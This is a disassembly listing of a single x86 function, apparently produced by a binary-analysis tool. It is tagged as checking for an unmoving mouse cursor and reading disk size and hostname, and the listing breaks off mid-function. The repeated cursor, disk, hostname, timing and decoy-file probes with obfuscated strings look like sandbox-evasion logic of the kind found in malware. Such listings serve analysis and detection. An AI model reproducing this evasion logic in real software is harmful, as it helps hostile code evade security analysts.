Function at 0x4224e6
Capabilities:
Check for unmoving mouse cursor
Get disk size
Get hostname

Disassembly:
push 0x468
mov eax, 0x45a8c4
call fcn.00438b84
mov eax, dword [ebp + 8]
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x474], eax
lea eax, [ebp - 0x438]
push eax
call ebx
lea eax, [ebp - 0x438]
push eax
call ebx
push 0x4789dc
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x1016a8a6
lea eax, [ebp - 0x28]
xor esi, esi
push eax
push 0x490d20
mov dword [ebp - 4], esi
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea eax, [ebp - 0x438]
push 8
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
mov edi, dword [sym.imp.WINMM.dll_timeBeginPeriod]
test eax, eax
jne 0x422591
push 1
call edi
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x438]
push eax
call ebx
push 8
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x4225b9
push 1
call edi
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x438]
push eax
call ebx
push 0x4789e0
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x77e5f48
cmova eax, dword [ebp - 0x450]
push eax
push 0x4789e4
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x438]
push eax
call ebx
push 8
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x42262c
push 1
call edi
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x4789ec
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.bc.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 0xffffffff
je 0x422690
push eax
call edi
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
call ebx
push 0x478a04
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x41ce268
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 1
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x422739
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x440]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push str.hN1NRG7ZP9
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x1aea6c93
cmova eax, dword [ebp - 0x450]
push eax
push 0x478a14
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x4227de
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
push str.yk6Kw3OXZ9
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0xa71ece6
cmova eax, dword [ebp - 0x450]
push eax
push 0x478a28
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x422843
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478a30
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.9ps1Ng0GoV.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422886
push eax
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.lUl.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4228a9
push eax
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.xp.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4228cc
push eax
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.40N0oD.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4228ef
push eax
call edi
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478a90
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478a98
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0x478aa0
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x20c32963
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
call ebx
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x4229b3
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
push str.ezs6Z
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x105f432a
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 3
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478aac
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x422a46
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x422a9b
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x422ae3
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.Jmazkj.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422b06
push eax
call edi
push str.6is11Q
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x4f75ab6
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 4
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea ecx, [ebp - 0x450]
push str.ookNQmKU
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x18129d73
cmova eax, dword [ebp - 0x450]
push eax
push 0x478ae0
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
call ebx
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea ecx, [ebp - 0x450]
push str.OpE0rywY0
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x32e75a39
cmova eax, dword [ebp - 0x450]
push eax
push 0x478af4
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x440]
push eax
call ebx
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x422c5c
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
push str.235gUELeT
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x1b7ab614
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 5
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.s9L9wd6Fj.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422cc2
push eax
call edi
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x422cf2
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
push str.Ud53m8S
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x1505d9eb
cmova eax, dword [ebp - 0x450]
push eax
push 0x478b2c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x440]
push eax
call ebx
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push str.iUOCWG
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x265443ae
cmova eax, dword [ebp - 0x450]
push eax
push 0x478b3c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x422e11
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.m.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422e34
push eax
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.OttI9s.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422e57
push eax
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.a7IDfMNLpa.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422e7a
push eax
call edi
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x422eaa
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x440]
push eax
call ebx
lea eax, [ebp - 0x440]
push eax
call ebx
lea eax, [ebp - 0x440]
push eax
call ebx
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x422f46
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.iKCPnyyy.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422f69
push eax
call edi
lea eax, [ebp - 0x440]
push eax
call ebx
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478ba4
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.KO0yjmEoW.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x422fd0
push eax
call edi
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x440]
push eax
call ebx
push str.iVOSVfGqK
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x1e9273c6
cmova eax, dword [ebp - 0x450]
push eax
push 0x478bd4
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x42304b
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478bdc
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea eax, [ebp - 0x440]
push eax
call ebx
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.dZCYmMNMh.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x423097
push eax
call edi
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
call ebx
push 0x478c00
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x32dd7d31
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 6
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478c04
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push str.WanW0YP
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x352788e6
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 7
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
lea eax, [ebp - 0x440]
push eax
call ebx
push str.G7cuoB96
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x38434f02
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 8
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.H.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4231e5
push eax
call edi
lea eax, [ebp - 0x440]
push eax
call ebx
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x478c2c
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x21c57e7c
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 9
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x423294
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push 0x478c30
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4232d2
push eax
call edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.uHFygYv.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4232f5
push eax
call edi
push str.pSOE
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x3832e6fe
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xa
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x423368
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478c6c
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x4233ab
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x4233ce
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478c74
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478c7c
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push str.ClOqmw3D3O
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x2cdbb0d0
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xb
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push str.MN4ux6ig
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x3b8ef1bc
cmova eax, dword [ebp - 0x450]
push eax
push 0x478c9c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
push str.L36h9n779
lea ecx, [ebp - 0x28]
call fcn.00401c92
push 0x29147256
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xc
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021f4
push str.KIMIz5DQM
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x2242bbd
cmova eax, dword [ebp - 0x450]
push eax
push 0x478cbc
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x440]
push eax
call ebx
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x440]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x434], eax
test eax, eax
je 0x42357f
lea ecx, [ebp - 0x440]
push ecx
lea ecx, [ebp - 0x460]
push ecx
lea ecx, [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x470]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push dword [ebp - 0x434]
call edi
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x440]
push eax
call ebx
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.X2d5gGAiG2.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4235b8
push eax
call edi
push 0x478ce4
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x3941a1d1
cmova eax, dword [ebp - 0x450]
push eax
push 0x478ce8
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x458]
push eax
push 0x478cf0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x440]
push eax
call ebx
push str.GAwAY
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x2df9103e
cmova eax, dword [ebp - 0x450]
push eax
push 0x478d00
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0x478d08
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x315fa327
cmova eax, dword [ebp - 0x450]
push eax
push 0x478d0c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
push 0x478d14
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x36bc7007
cmova eax, dword [ebp - 0x450]
push eax
push 0x478d18
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
lea eax, [ebp - 0x434]
mov dword [ebp - 0x434], 0x10
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 8
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x42377f
push 1
call dword [sym.imp.WINMM.dll_timeBeginPeriod]
push 1
call dword [sym.imp.WINMM.dll_timeEndPeriod]
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
push 0x400
lea eax, [ebp - 0x430]
push esi
push eax
call fcn.00439fe0
add esp, 0x18
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.YlgROT.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4237c9
push eax
call edi
push str.iAxH9B0y
lea ecx, [ebp - 0x450]
call fcn.00401c92
cmp dword [ebp - 0x43c], 0xf
lea eax, [ebp - 0x450]
push 0x9ca6ee5
cmova eax, dword [ebp - 0x450]
push eax
push 0x478d44
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x450]
call fcn.004021f4
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push 0x478d4c
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x42382e
push eax
call edi
push str.wVcBhY
